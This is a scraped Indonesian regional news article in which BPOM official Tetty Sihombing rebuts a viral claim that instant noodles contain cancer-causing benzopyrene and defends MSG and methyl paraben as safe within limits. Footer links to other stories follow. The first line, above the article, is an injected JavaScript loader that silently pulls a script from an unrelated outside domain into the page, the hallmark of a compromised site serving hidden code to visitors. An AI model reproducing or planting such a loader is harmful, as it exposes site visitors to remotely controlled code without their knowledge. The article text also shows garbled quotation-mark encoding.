(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Belakangan ini beredar pesan di berbagai grup WhatsApp soal mi instan yang mengandung zat penyebab kanker. Pesan tersebut mengutip riset Korea Food and Administration (KFDA) yang menyebut menemukan zat penyebab kanker, benzopirene dalam mi instan produksi Korea.
Pelaksana Tugas Deputi Bidang Pengawasan Pangan Olahan Badan Pengawas Obat dan Makanan (BPOM) Tetty H Sihombing menanggapi pesan viral beredar melalui media sosial tentang mi instan di Indonesia mengandung zat penyebab kanker, benzopirene.
“Kami tidak menemukan data bahwa kandungan zat dalam mi instan tersebut dapat dikaitkan langsung dengan penyebab kanker,†ujar Tetty seperti dirilis Tempo.co.
“Yang diisukan berbahaya juga ada monosodium glutamat (MSG), methyl p-hydroxbenzoate, dan asam benzoat.â€Â
MSG merupakan penguat rasa yang memiliki Acceptable Daily Intake (ADI). Artinya, bila dikonsumsi setiap hari dalam jumlah wajar tidak menimbulkan bahaya dalam bagi kesehatan. Sedangkan methyl p-hydroxbenzoate atau metil paraben pengawet yang diizinkan dalam produk pangan dengan jumlah tertentu.
“Namun ada beberapa data yang menunjukkan bahwa beberapa orang tertentu sensitif terhadap MSG. Sampai saat ini belum ada bukti ilmiah yang sahih bahwa MSG dan metil paraben dapat merusak usus, liver, atau sakit maag,†kata Tetty.
Metil paraben, kata dia, juga digunakan untuk mengawetkan kecap yang merupakan bumbu pelengkap dari mi instan varian tertentu. Ada beberapa negara lain yang menggunakan metil paraben itu, seperti Taiwan, yang tidak mengatur penggunaannya pada mi instan.
“Terkait pesan tersebut, diharapkan masyarakat tidak resah dan meragukan keamanan mi instan yang beredar di Indonesia dan konsumsilah dengan bijak,†tambah Tetty. (tmp)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.